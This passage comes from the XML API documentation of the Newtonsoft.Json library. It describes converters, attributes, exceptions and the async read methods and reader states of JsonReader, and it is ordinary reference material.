string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <param name=\"encodeSpecialCharacters\">\n            A value to indicate whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanRead\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter`1\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,`0,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,`0,System.Boolean,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read. If there is no existing value then <c>null</c> will be used.</param>\n            <param name=\"hasExistingValue\">The existing value has a value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> when serializing the member or class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n            <param name=\"converterParameters\">Parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>. Can be <c>null</c>.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterCollection\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonDictionaryAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to deserialize properties with no matching class member into the specified collection\n            and write values during serialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.WriteData\">\n            <summary>\n            Gets or sets a value that indicates whether to write extension data when serializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to write extension data when serializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.ReadData\">\n            <summary>\n            Gets or sets a value that indicates whether to read extension data when deserializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to read extension data when deserializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonExtensionDataAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonIgnoreAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> not to serialize the public field or public read/write property value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonNameTable\">\n            <summary>\n            Base class for a table of atomized string objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonObjectAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MemberSerialization\">\n            <summary>\n            Gets or sets the member serialization.\n            </summary>\n            <value>The member serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified member serialization.\n            </summary>\n            <param name=\"memberSerialization\">The member serialization.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonPropertyAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member with the specified name.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NullValueHandling\">\n            <summary>\n            Gets or sets the null value handling used when serializing this property.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.DefaultValueHandling\">\n            <summary>\n            Gets or sets the default value handling used when serializing this property.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing this property.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the object creation handling used when deserializing this property.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.TypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing this property.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.IsReference\">\n            <summary>\n            Gets or sets whether this property's value is serialized as a reference.\n            </summary>\n            <value>Whether this property's value is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Required\">\n            <summary>\n            Gets or sets a value indicating whether this property is required.\n            </summary>\n            <value>\n            \tA value indicating whether this property is required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SkipAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously skips the children of the current token.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBooleanAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBytesAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Byte\"/>[]. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeOffsetAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDecimalAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDoubleAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsInt32Async(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsStringAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.String\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader.State\">\n            <summary>\n            Specifies the state of the reader.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Complete\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Property\">\n            <summary>\n            Reader is at a property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ObjectStart\">\n            <summary>\n            Reader is at the start of an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Object\">\n            <summary>\n            Reader is in an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ArrayStart\">\n            <summary>\n            Reader is at the start of an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Array\">\n            <summary>\n            Reader is in an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonReader.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.PostValue\">\n            <summary>\n            Reader has just read a value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ConstructorStart\">\n            <summary>\n            Reader is at the start of a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Constructor\">\n            <summary>\n            Reader is in a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Error\">\n            <summary>\n            An error occurred that prevents the read operation from continuing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Finished\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CurrentState\">\n            <summary>\n            Gets the current reader state.\n            </summary>\n            <value>The current reader state.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CloseInput\">\n            <summary>\n            Gets or sets a value indicating whether the source should be closed when this reader is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the source when this reader is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.SupportMultipleContent\">\n            <summary>\n            Gets or sets a value indicating whether multiple pieces of JSON content can\n            be read from a continuous stream without erroring.\n            </summary>\n            <value>\n            <c>true</c> to support reading multiple pieces of JSON content; otherwise <c>false</c>.\n            The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateParseHandling\">\n            <summary>\n            